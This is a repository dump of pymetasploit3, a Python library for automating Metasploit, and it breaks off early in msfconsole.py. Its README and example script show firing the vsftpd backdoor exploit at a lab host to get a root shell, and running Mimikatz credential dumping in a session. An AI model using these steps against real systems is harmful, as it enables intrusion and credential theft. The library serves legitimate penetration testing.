├── .gitignore ├── LICENSE ├── Pipfile ├── Pipfile.lock ├── README.md ├── example_usage.py ├── pymetasploit3 ├── __init__.py ├── msfconsole.py ├── msfrpc.py ├── scripts │ ├── pymsfconsole.py │ └── pymsfrpc.py └── utils.py ├── setup.py └── tests ├── Invoke-Mimikatz.ps1 ├── test.xml ├── test_console.py ├── test_db.py ├── test_modulemanager.py ├── test_msfrpc.py └── test_sessions.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | 106 | # Custom 107 | nocommit/ 108 | .idea/ 109 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 2 | 3 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 4 | 5 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 6 | -------------------------------------------------------------------------------- /Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | url = "https://pypi.python.org/simple" 3 | verify_ssl = true 4 | name = "pypi" 5 | 6 | [packages] 7 | msgpack = "*" 8 | requests = "*" 9 | 10 | [dev-packages] 11 | pytest = "*" 12 | twine = "*" 13 | 14 | [requires] 15 | python_version = "3.7" 16 | -------------------------------------------------------------------------------- /Pipfile.lock: -------------------------------------------------------------------------------- 1 | { 2 | "_meta": { 3 | "hash": { 4 | "sha256": "34f652eb90459e1e14b84b3510b25116f0ea2af95e823611bca1ba3fc9534a64" 5 | }, 6 | "pipfile-spec": 6, 7 | "requires": { 8 | "python_version": "3.7" 9 | }, 10 | "sources": [ 11 | { 12 | "name": "pypi", 13 | "url": "https://pypi.python.org/simple", 14 | "verify_ssl": true 15 | } 16 | ] 17 | }, 18 | "default": { 19 | "certifi": { 20 | "hashes": [ 21 | "sha256:1a4995114262bffbc2413b159f2a1a480c969de6e6eb13ee966d470af86af59c", 22 | "sha256:719a74fb9e33b9bd44cc7f3a8d94bc35e4049deebe19ba7d8e108280cfd59830" 23 | ], 24 | "version": "==2020.12.5" 25 | }, 26 | "chardet": { 27 | "hashes": [ 28 | "sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae", 29 | "sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691" 30 | ], 31 | "version": "==3.0.4" 32 | }, 33 | "idna": { 34 | "hashes": [ 35 | "sha256:c357b3f628cf53ae2c4c05627ecc484553142ca23264e593d327bcde5e9c3407", 36 | "sha256:ea8b7f6188e6fa117537c3df7da9fc686d485087abf6ac197f9c46432f7e4a3c" 37 | ], 38 | "version": "==2.8" 39 | }, 40 | "msgpack": { 41 | "hashes": [ 42 | "sha256:26cb40116111c232bc235ce131cc3b4e76549088cb154e66a2eb8ff6fcc907ec", 43 | "sha256:300fd3f2c664a3bf473d6a952f843b4a71454f4c592ed7e74a36b205c1782d28", 44 | "sha256:3129c355342853007de4a2a86e75eab966119733eb15748819b6554363d4e85c", 45 | "sha256:31f6d645ee5a97d59d3263fab9e6be76f69fa131cddc0d94091a3c8aca30d67a", 46 | "sha256:3ce7ef7ee2546c3903ca8c934d09250531b80c6127e6478781ae31ed835aac4c", 47 | "sha256:4008c72f5ef2b7936447dcb83db41d97e9791c83221be13d5e19db0796df1972", 48 | "sha256:62bd8e43d204580308d477a157b78d3fee2fb4c15d32578108dc5d89866036c8", 49 | "sha256:70cebfe08fb32f83051971264466eadf183101e335d8107b80002e632f425511", 50 | "sha256:72cb7cf85e9df5251abd7b61a1af1fb77add15f40fa7328e924a9c0b6bc7a533", 51 | "sha256:7c55649965c35eb32c499d17dadfb8f53358b961582846e1bc06f66b9bccc556", 52 | "sha256:86b963a5de11336ec26bc4f839327673c9796b398b9f1fe6bb6150c2a5d00f0f", 53 | "sha256:8c73c9bcdfb526247c5e4f4f6cf581b9bb86b388df82cfcaffde0a6e7bf3b43a", 54 | "sha256:8e68c76c6aff4849089962d25346d6784d38e02baa23ffa513cf46be72e3a540", 55 | "sha256:97ac6b867a8f63debc64f44efdc695109d541ecc361ee2dce2c8884ab37360a1", 56 | "sha256:9d4f546af72aa001241d74a79caec278bcc007b4bcde4099994732e98012c858", 57 | "sha256:a28e69fe5468c9f5251c7e4e7232286d71b7dfadc74f312006ebe984433e9746", 58 | "sha256:fd509d4aa95404ce8d86b4e32ce66d5d706fd6646c205e1c2a715d87078683a2" 59 | ], 60 | "index": "pypi", 61 | "version": "==0.6.1" 62 | }, 63 | "requests": { 64 | "hashes": [ 65 | "sha256:502a824f31acdacb3a35b6690b5fbf0bc41d63a24a45c4004352b0242707598e", 66 | "sha256:7bf2a778576d825600030a110f3c0e3e8edc51dfaafe1c146e39a2027784957b" 67 | ], 68 | "index": "pypi", 69 | "version": "==2.21.0" 70 | }, 71 | "urllib3": { 72 | "hashes": [ 73 | "sha256:2393a695cd12afedd0dcb26fe5d50d0cf248e5a66f75dbd89a3d4eb333a61af4", 74 | "sha256:a637e5fae88995b256e3409dc4d52c2e2e0ba32c42a6365fee8bbd2238de3cfb" 75 | ], 76 | "version": "==1.24.3" 77 | } 78 | }, 79 | "develop": { 80 | "atomicwrites": { 81 | "hashes": [ 82 | "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197", 83 | "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a" 84 | ], 85 | "version": "==1.4.0" 86 | }, 87 | "attrs": { 88 | "hashes": [ 89 | "sha256:31b2eced602aa8423c2aea9c76a724617ed67cf9513173fd3a4f03e3a929c7e6", 90 | "sha256:832aa3cde19744e49938b91fea06d69ecb9e649c93ba974535d08ad92164f700" 91 | ], 92 | "version": "==20.3.0" 93 | }, 94 | "bleach": { 95 | "hashes": [ 96 | "sha256:6123ddc1052673e52bab52cdc955bcb57a015264a1c57d37bea2f6b817af0125", 97 | "sha256:98b3170739e5e83dd9dc19633f074727ad848cbedb6026708c8ac2d3b697a433" 98 | ], 99 | "version": "==3.3.0" 100 | }, 101 | "certifi": { 102 | "hashes": [ 103 | "sha256:1a4995114262bffbc2413b159f2a1a480c969de6e6eb13ee966d470af86af59c", 104 | "sha256:719a74fb9e33b9bd44cc7f3a8d94bc35e4049deebe19ba7d8e108280cfd59830" 105 | ], 106 | "version": "==2020.12.5" 107 | }, 108 | "chardet": { 109 | "hashes": [ 110 | "sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae", 111 | "sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691" 112 | ], 113 | "version": "==3.0.4" 114 | }, 115 | "docutils": { 116 | "hashes": [ 117 | "sha256:a71042bb7207c03d5647f280427f14bfbd1a65c9eb84f4b341d85fafb6bb4bdf", 118 | "sha256:e2ffeea817964356ba4470efba7c2f42b6b0de0b04e66378507e3e2504bbff4c" 119 | ], 120 | "version": "==0.17" 121 | }, 122 | "idna": { 123 | "hashes": [ 124 | "sha256:c357b3f628cf53ae2c4c05627ecc484553142ca23264e593d327bcde5e9c3407", 125 | "sha256:ea8b7f6188e6fa117537c3df7da9fc686d485087abf6ac197f9c46432f7e4a3c" 126 | ], 127 | "version": "==2.8" 128 | }, 129 | "importlib-metadata": { 130 | "hashes": [ 131 | "sha256:c9db46394197244adf2f0b08ec5bc3cf16757e9590b02af1fca085c16c0d600a", 132 | "sha256:d2d46ef77ffc85cbf7dac7e81dd663fde71c45326131bea8033b9bad42268ebe" 133 | ], 134 | "markers": "python_version < '3.8'", 135 | "version": "==3.10.0" 136 | }, 137 | "more-itertools": { 138 | "hashes": [ 139 | "sha256:5652a9ac72209ed7df8d9c15daf4e1aa0e3d2ccd3c87f8265a0673cd9cbc9ced", 140 | "sha256:c5d6da9ca3ff65220c3bfd2a8db06d698f05d4d2b9be57e1deb2be5a45019713" 141 | ], 142 | "markers": "python_version > '2.7'", 143 | "version": "==8.7.0" 144 | }, 145 | "packaging": { 146 | "hashes": [ 147 | "sha256:5b327ac1320dc863dca72f4514ecc086f31186744b84a230374cc1fd776feae5", 148 | "sha256:67714da7f7bc052e064859c05c595155bd1ee9f69f76557e21f051443c20947a" 149 | ], 150 | "version": "==20.9" 151 | }, 152 | "pkginfo": { 153 | "hashes": [ 154 | "sha256:029a70cb45c6171c329dfc890cde0879f8c52d6f3922794796e06f577bb03db4", 155 | "sha256:9fdbea6495622e022cc72c2e5e1b735218e4ffb2a2a69cde2694a6c1f16afb75" 156 | ], 157 | "version": "==1.7.0" 158 | }, 159 | "pluggy": { 160 | "hashes": [ 161 | "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0", 162 | "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d" 163 | ], 164 | "version": "==0.13.1" 165 | }, 166 | "py": { 167 | "hashes": [ 168 | "sha256:21b81bda15b66ef5e1a777a21c4dcd9c20ad3efd0b3f817e7a809035269e1bd3", 169 | "sha256:3b80836aa6d1feeaa108e046da6423ab8f6ceda6468545ae8d02d9d58d18818a" 170 | ], 171 | "version": "==1.10.0" 172 | }, 173 | "pygments": { 174 | "hashes": [ 175 | "sha256:bc9591213a8f0e0ca1a5e68a479b4887fdc3e75d0774e5c71c31920c427de435", 176 | "sha256:df49d09b498e83c1a73128295860250b0b7edd4c723a32e9bc0d295c7c2ec337" 177 | ], 178 | "index": "pypi", 179 | "version": "==2.7.4" 180 | }, 181 | "pyparsing": { 182 | "hashes": [ 183 | "sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1", 184 | "sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b" 185 | ], 186 | "version": "==2.4.7" 187 | }, 188 | "pytest": { 189 | "hashes": [ 190 | "sha256:3773f4c235918987d51daf1db66d51c99fac654c81d6f2f709a046ab446d5e5d", 191 | "sha256:b7802283b70ca24d7119b32915efa7c409982f59913c1a6c0640aacf118b95f5" 192 | ], 193 | "index": "pypi", 194 | "version": "==4.4.1" 195 | }, 196 | "readme-renderer": { 197 | "hashes": [ 198 | "sha256:63b4075c6698fcfa78e584930f07f39e05d46f3ec97f65006e430b595ca6348c", 199 | "sha256:92fd5ac2bf8677f310f3303aa4bce5b9d5f9f2094ab98c29f13791d7b805a3db" 200 | ], 201 | "version": "==29.0" 202 | }, 203 | "requests": { 204 | "hashes": [ 205 | "sha256:502a824f31acdacb3a35b6690b5fbf0bc41d63a24a45c4004352b0242707598e", 206 | "sha256:7bf2a778576d825600030a110f3c0e3e8edc51dfaafe1c146e39a2027784957b" 207 | ], 208 | "index": "pypi", 209 | "version": "==2.21.0" 210 | }, 211 | "requests-toolbelt": { 212 | "hashes": [ 213 | "sha256:380606e1d10dc85c3bd47bf5a6095f815ec007be7a8b69c878507068df059e6f", 214 | "sha256:968089d4584ad4ad7c171454f0a5c6dac23971e9472521ea3b6d49d610aa6fc0" 215 | ], 216 | "version": "==0.9.1" 217 | }, 218 | "six": { 219 | "hashes": [ 220 | "sha256:30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259", 221 | "sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced" 222 | ], 223 | "version": "==1.15.0" 224 | }, 225 | "tqdm": { 226 | "hashes": [ 227 | "sha256:daec693491c52e9498632dfbe9ccfc4882a557f5fa08982db1b4d3adbe0887c3", 228 | "sha256:ebdebdb95e3477ceea267decfc0784859aa3df3e27e22d23b83e9b272bf157ae" 229 | ], 230 | "version": "==4.60.0" 231 | }, 232 | "twine": { 233 | "hashes": [ 234 | "sha256:0fb0bfa3df4f62076cab5def36b1a71a2e4acb4d1fa5c97475b048117b1a6446", 235 | "sha256:d6c29c933ecfc74e9b1d9fa13aa1f87c5d5770e119f5a4ce032092f0ff5b14dc" 236 | ], 237 | "index": "pypi", 238 | "version": "==1.13.0" 239 | }, 240 | "typing-extensions": { 241 | "hashes": [ 242 | "sha256:7cb407020f00f7bfc3cb3e7881628838e69d8f3fcab2f64742a5e76b2f841918", 243 | "sha256:99d4073b617d30288f569d3f13d2bd7548c3a7e4c8de87db09a9d29bb3a4a60c", 244 | "sha256:dafc7639cde7f1b6e1acc0f457842a83e722ccca8eef5270af2d74792619a89f" 245 | ], 246 | "markers": "python_version < '3.8'", 247 | "version": "==3.7.4.3" 248 | }, 249 | "urllib3": { 250 | "hashes": [ 251 | "sha256:2393a695cd12afedd0dcb26fe5d50d0cf248e5a66f75dbd89a3d4eb333a61af4", 252 | "sha256:a637e5fae88995b256e3409dc4d52c2e2e0ba32c42a6365fee8bbd2238de3cfb" 253 | ], 254 | "version": "==1.24.3" 255 | }, 256 | "webencodings": { 257 | "hashes": [ 258 | "sha256:a0af1213f3c2226497a97e2b3aa01a7e4bee4f403f95be16fc9acd2947514a78", 259 | "sha256:b36a1c245f2d304965eb4e0a82848379241dc04b865afcc4aab16748587e1923" 260 | ], 261 | "version": "==0.5.1" 262 | }, 263 | "zipp": { 264 | "hashes": [ 265 | "sha256:3607921face881ba3e026887d8150cca609d517579abe052ac81fc5aeffdbd76", 266 | "sha256:51cb66cc54621609dd593d1787f286ee42a5c0adbb4b29abea5a63edc3e03098" 267 | ], 268 | "version": "==3.4.1" 269 | } 270 | } 271 | } 272 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Pymetasploit3 2 | ======= 3 | 4 | Pymetasploit3 is a full-fledged Python3 Metasploit automation library. It can interact with Metasploit either through msfrpcd or the msgrpc plugin in msfconsole. 5 | 6 | # Original library: pymetasploit 7 | 8 | This is an updated and improved version of the Python2 pymetasploit library by allfro. 9 | 10 | Original project : https://github.com/allfro/pymetasploit 11 | 12 | # Installation 13 | 14 | mkdir your-project 15 | cd your-project 16 | pipenv install --three pymetasploit3 17 | pipenv shell 18 | 19 | or: 20 | 21 | pip3 install --user pymetasploit3 22 | 23 | # Basic Usage 24 | 25 | ## Starting Metasploit RPC server 26 | You can start the RPC server either with ```msfrpcd``` or ```msfconsole``` 27 | 28 | ### Msfconsole 29 | This will start the RPC server on port 55552 as well as the Metasploit console UI 30 | ```bash 31 | $ msfconsole 32 | msf> load msgrpc [Pass=yourpassword] 33 | ``` 34 | ### msfrpcd 35 | This will start the RPC server on port 55553 and will just start the RPC server in the background 36 | ```bash 37 | $ msfrpcd -P yourpassword -S 38 | ``` 39 | 40 | ## RPC client 41 | 42 | ### Connecting to `msfrpcd` 43 | 44 | ```python 45 | >>> from pymetasploit3.msfrpc import MsfRpcClient 46 | >>> client = MsfRpcClient('yourpassword') 47 | ``` 48 | ### Connecting to `msfconsole` with `msgrpc` plugin loaded 49 | 50 | ```python 51 | >>> from pymetasploit3.msfrpc import MsfRpcClient 52 | >>> client = MsfRpcClient('yourpassword', port=55552) 53 | ``` 54 | 55 | ### MsfRpcClient 56 | 57 | The `MsfRpcClient` class provides the core functionality to navigate through the Metasploit framework. Use 58 | ```dir(client)``` to see the callable methods. 59 | 60 | ```python 61 | >>> [m for m in dir(client) if not m.startswith('_')] 62 | ['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins', 63 | 'port', 'server', 'token', 'sessions', 'ssl', 'uri'] 64 | >>> 65 | ``` 66 | 67 | Like the metasploit framework, `MsfRpcClient` is segmented into different management modules: 68 | 69 | * **`auth`**: manages the authentication of clients for the `msfrpcd` daemon. 70 | * **`consoles`**: manages interaction with consoles/shells created by Metasploit modules. 71 | * **`core`**: manages the Metasploit framework core. 72 | * **`db`**: manages the backend database connectivity for `msfrpcd`. 73 | * **`modules`**: manages the interaction and configuration of Metasploit modules (i.e. exploits, auxiliaries, etc.) 74 | * **`plugins`**: manages the plugins associated with the Metasploit core. 75 | * **`sessions`**: manages the interaction with Metasploit meterpreter sessions. 76 | 77 | ### Running an exploit 78 | 79 | Explore exploit modules: 80 | 81 | ```python 82 | >>> client.modules.exploits 83 | ['windows/wins/ms04_045_wins', 'windows/winrm/winrm_script_exec', 'windows/vpn/safenet_ike_11', 84 | 'windows/vnc/winvnc_http_get', 'windows/vnc/ultravnc_viewer_bof', 'windows/vnc/ultravnc_client', ... 85 | 'aix/rpc_ttdbserverd_realpath', 'aix/rpc_cmsd_opcode21'] 86 | >>> 87 | ``` 88 | 89 | Create an exploit module object: 90 | 91 | ```python 92 | >>> exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor') 93 | >>> 94 | ``` 95 | 96 | Explore exploit information: 97 | 98 | ```python 99 | >>> print(exploit.description) 100 | 101 | This module exploits a malicious backdoor that was added to the VSFTPD download 102 | archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between 103 | June 30th 2011 and July 1st 2011 according to the most recent information 104 | available. This backdoor was removed on July 3rd 2011. 105 | 106 | >>> exploit.options 107 | ['TCP::send_delay', 'ConnectTimeout', 'SSLVersion', 'VERBOSE', 'SSLCipher', 'CPORT', 'SSLVerifyMode', 'SSL', 'WfsDelay', 108 | 'CHOST', 'ContextInformationFile', 'WORKSPACE', 'EnableContextEncoding', 'TCP::max_send_size', 'Proxies', 109 | 'DisablePayloadHandler', 'RPORT', 'RHOST'] 110 | >>> exploit.missing_required # Required options which haven't been set yet 111 | ['RHOST'] 112 | >>> 113 | ``` 114 | 115 | Let's use a [Metasploitable 2](http://sourceforge.net/projects/metasploitable/) instance running on a VMWare 116 | machine as our exploit target. It's running our favorite version of vsFTPd - 2.3.4 - and we already have our exploit 117 | module loaded. Our next step is to specify our target: 118 | 119 | ```python 120 | >>> exploit['RHOST'] = '172.16.14.145' # IP of our target host 121 | >>> 122 | ``` 123 | 124 | Select a payload: 125 | 126 | ```python 127 | >>> exploit.targetpayloads() 128 | ['cmd/unix/interact'] 129 | >>> 130 | ``` 131 | 132 | At this point, this exploit only supports one payload (`cmd/unix/interact`). So let's pop a shell: 133 | 134 | ```python 135 | >>> exploit.execute(payload='cmd/unix/interact') 136 | {'job_id': 1, 'uuid': '3whbuevf'} 137 | >>> 138 | ``` 139 | 140 | We know the job ran successfully because `job_id` is `1`. If the module failed to execute for any reason, `job_id` would 141 | be `None`. If we managed to pop our box, we might see something nice in the sessions list: 142 | 143 | ```python 144 | >>> client.sessions.list 145 | {1: {'info': '', 'username': 'jsmith', 'session_port': 21, 'via_payload': 'payload/cmd/unix/interact', 146 | 'uuid': '5orqnnyv', 'tunnel_local': '172.16.14.1:58429', 'via_exploit': 'exploit/unix/ftp/vsftpd_234_backdoor', 147 | 'exploit_uuid': '3whbuevf', 'tunnel_peer': '172.16.14.145:6200', 'workspace': 'false', 'routes': '', 148 | 'target_host': '172.16.14.145', 'type': 'shell', 'session_host': '172.16.14.145', 'desc': 'Command shell'}} 149 | >>> 150 | ``` 151 | 152 | ### Interacting with the shell 153 | Create a shell object out of the session number we found above and write to it: 154 | 155 | ```python 156 | >>> shell = client.sessions.session('1') 157 | >>> shell.write('whoami') 158 | >>> print(shell.read()) 159 | root 160 | >>> 161 | ``` 162 | 163 | Run the same `exploit` object as before but wait until it completes and gather it's output: 164 | 165 | ```python 166 | >>> cid = client.consoles.console().cid # Create a new console and store its number in 'cid' 167 | >>> print(client.consoles.console(cid).run_module_with_output(exploit, payload='cmd/unix/interact')) 168 | # Some time passes 169 | '[*] 172.16.14.145:21 - Banner: 220 vsFTPd 2.3.4 170 | [*] 172.16.14.145:21 - USER: 331 Please specify the password 171 | ...' 172 | 173 | ``` 174 | 175 | `client.sessions.session('1')` has the same `.write('some string')` and `.read()` methods, but running session commands and 176 | waiting until they're done returning output isn't as simple as console commands. The Metasploit RPC server will return 177 | a `busy` value that is `True` or `False` with `client.consoles.console('1').is_busy()` but determining if a 178 | `client.sessions.session()` is done running a command requires us to do it by hand. For this purpose we will use a 179 | list of strings that, when any one is found in the session's output, will tell us that the session is done running 180 | its command. Below we are running the `arp` command within a meterpreter session. We know this command will return one 181 | large blob of text that will contain the characters `----` if it's successfully run so we put that into a list object. 182 | 183 | ```python 184 | >>> session_id = '1' 185 | >>> session_command = 'arp' 186 | >>> terminating_strs = ['----'] 187 | >>> client.sessions.session(session_id).run_with_output(session_command, terminating_strs) 188 | # Some time passes 189 | '\nARP Table\n ---------------\n ...` 190 | ``` 191 | Run a PowerShell script with output 192 | ```python 193 | >>> session_id = '1' 194 | >>> psh_script_path = '/home/user/scripts/Invoke-Mimikatz.ps1' 195 | >>> session = c.sessions.session(sessions_id) 196 | >>> sessions.import_psh(psh_script_path) 197 | >>> sessions.run_psh_cmd('Invoke-Mimikatz') 198 | # Some time passes 199 | 'Mimikatz output...' 200 | ``` 201 | 202 | One can also use a timeout and simply return all data found before the timeout expired. `timeout` defaults to 203 | Metasploit's comm timeout of 300s and will throw an exception if the command timed out. To change this, set 204 | `timeout_exception` to `False` and the library will simply return all the data from the session output it found before 205 | the timeout expired. 206 | ```python 207 | >>> session_id = '1' 208 | >>> session_command = 'arp' 209 | >>> terminating_strs = ['----'] 210 | >>> client.sessions.session(session_id).run_with_output(session_command, terminating_strs, timeout=10, timeout_exception=False)) 211 | # 10s pass 212 | '\nARP Table\n ---------------\n ...` 213 | ``` 214 | 215 | ### More examples 216 | 217 | Many other usage examples can be found in the `example_usage.py` file. 218 | 219 | # Contributions 220 | 221 | I highly encourage contributors to send in any and all pull requests or issues. Thank you to allfro for writing 222 | the original pymetasploit library. 223 | -------------------------------------------------------------------------------- /example_usage.py: -------------------------------------------------------------------------------- 1 | from pymetasploit3.msfrpc import MsfRpcClient 2 | 3 | ## Usage example 4 | 5 | # Connect to the RPC server 6 | client = MsfRpcClient('mypassword') 7 | 8 | # Get an exploit object 9 | exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor') 10 | 11 | # Set the exploit options 12 | exploit['RHOST'] = "192.168.115.80" 13 | exploit['RPORT'] = "21" 14 | 15 | # Execute the exploit, success will return a jobid 16 | exploit.execute(payload="cmd/unix/interact") 17 | 18 | # Find all available sessions 19 | print("Sessions avaiables : ") 20 | for s in client.sessions.list.keys(): 21 | print(s) 22 | 23 | # Get a shell object 24 | shell = client.sessions.session(list(client.sessions.list.keys())[0]) 25 | 26 | # Write to the shell 27 | shell.write('whoami') 28 | 29 | # Print the output 30 | print(shell.read()) 31 | 32 | # Stop the shell 33 | shell.stop() 34 | 35 | 36 | 37 | ## Console 38 | 39 | # Create a console and get the new console ID 40 | client.consoles.console().cid 41 | # >>> "1" 42 | 43 | # Destroy a console 44 | client.console.console('1').destroy 45 | 46 | # Write to console 47 | client.consoles.console('1').write('show options') 48 | 49 | # Read from console 50 | client.consoles.console('1').read() 51 | # >>> {'data': 'Global Options:\n===============\n\n Option...' 52 | # 'prompt': '\x01\x02msf5\x01\x02 \x01\x02> ', 53 | # 'busy': False} 54 | 55 | # Check if console is busy 56 | client.consoles.console('1').is_busy() 57 | # >>> False 58 | 59 | 60 | ## Modules 61 | 62 | # List exploit modules 63 | client.modules.exploits 64 | # >>> ['aix/local/ibstat_path', 65 | # 'aix/rpc_cmsd_opcode21', 66 | # 'aix/rpc_ttdbserverd_realpath', 67 | # ...] 68 | 69 | # Use a module 70 | exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor') 71 | 72 | # Set module options 73 | exploit['RHOST'] = "192.168.115.80" 74 | exploit['RPORT'] = "21" 75 | 76 | # Get required options 77 | exploit.required 78 | # >>> ['RHOSTS', 'RPORT', 'SSLVersion', 'ConnectTimeout'] 79 | 80 | # Get required options that haven't been set yet 81 | exploit.missing_required 82 | # >>> ['RHOSTS'] 83 | 84 | # See all the options which have been set 85 | exploit.runoptions 86 | # >>> {'VERBOSE': False, 87 | # 'WfsDelay': 0, 88 | # 'EnableContextEncoding': False, 89 | # 'DisablePayloadHandler': False, 90 | # 'RPORT': 21, 91 | # 'SSL': False, 92 | # 'SSLVersion': 'Auto', 93 | # 'SSLVerifyMode': 'PEER', 94 | # 'ConnectTimeout': 10, 95 | # 'TCP::max_send_size': 0, 96 | # 'TCP::send_delay': 0} 97 | 98 | # Get the CVE/OSVDB/BID of an exploit 99 | exploit.references 100 | # >>> [['CVE', '2013-4011'], 101 | # ['OSVDB', '95420'], 102 | # ['BID', '61287'], 103 | # ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827'], 104 | # ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756']] 105 | 106 | # Get an option's info 107 | exploit.optioninfo('RHOSTS') 108 | # >>> {'type': 'addressrange', 109 | # 'required': True, 110 | # 'advanced': False, 111 | # 'evasion': False, 112 | # 'desc': 'The target address range or CIDR identifier'} 113 | 114 | # Get targets 115 | exploit.targets 116 | # >>> {0: 'Automatic'} 117 | 118 | # Set the target 119 | exploit.target = 0 120 | 121 | # Get target-compatible payloads 122 | exploit.targetpayloads() 123 | # >>> ['cmd/unix/interact'] 124 | 125 | # Execute the module 126 | # If 'job_id' is None, the module failed to execute 127 | exploit.execute(payload='cmd/unix/interact') 128 | # >>> {'job_id': 1, 'uuid': 'hb2f0yei'} 129 | 130 | # Execute the module and return the output 131 | cid = client.consoles.console().cid 132 | client.consoles.console(cid).execute_module_with_output(exploit, payload='cmd/unix/interact') 133 | # >>> '... [-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused \ 134 | # The connection was refused by the remote host (127.0.0.1:21).\n[*] Exploit completed, but no session was created.\n' 135 | 136 | 137 | ## Sessions 138 | 139 | # Get all sessions 140 | client.sessions.list 141 | # >>> {'1': {'type': 'meterpreter', 142 | # 'tunnel_local': '192.168.1.2:4444', 143 | # [...] 144 | # 'platform': 'windows'}} 145 | 146 | # Get a session's info 147 | client.sessions.session('1').info 148 | 149 | # Write to a session 150 | client.sessions.session('1').write('help') 151 | 152 | # Read a session 153 | client.sessions.session('1').read() 154 | # >>> '\nCore Commands\n=============\n\n Command Description\n ------- [...]' 155 | 156 | # Run a command and wait for the output 157 | client.sessions.session('1').run_with_output('arp') 158 | # >>> '\nArp stuff' 159 | 160 | # Run a shell command within a meterpreter session 161 | client.sessions.sessions('1').run_shell_cmd_with_output('whoami') 162 | 163 | -------------------------------------------------------------------------------- /pymetasploit3/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | 4 | __all__ = [ 5 | 'msfconsole', 6 | 'msfrpc', 7 | 'utils' 8 | ] 9 | -------------------------------------------------------------------------------- /pymetasploit3/msfconsole.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from threading import Timer, Lock 4 | from pymetasploit3.msfrpc import ShellSession 5 | 6 | 7 | class MsfRpcConsoleType: 8 | Console = 0 9 | Meterpreter = 1 10 | Shell = 2 11 | 12 | 13 | class MsfRpcConsole(object): 14 | 15 | def __init__(self, rpc, token=None, cb=None): 16 | """ 17 | Emulates the msfconsole in msf except over RPC. 18 | 19 | Mandatory Arguments: 20 | - rpc : an msfrpc client object 21 | 22 | Optional Arguments: 23 | - cb : a callback function that gets called when data is received from the console. 24 | """ 25 | 26 | self.callback = cb 27 | 28 | if 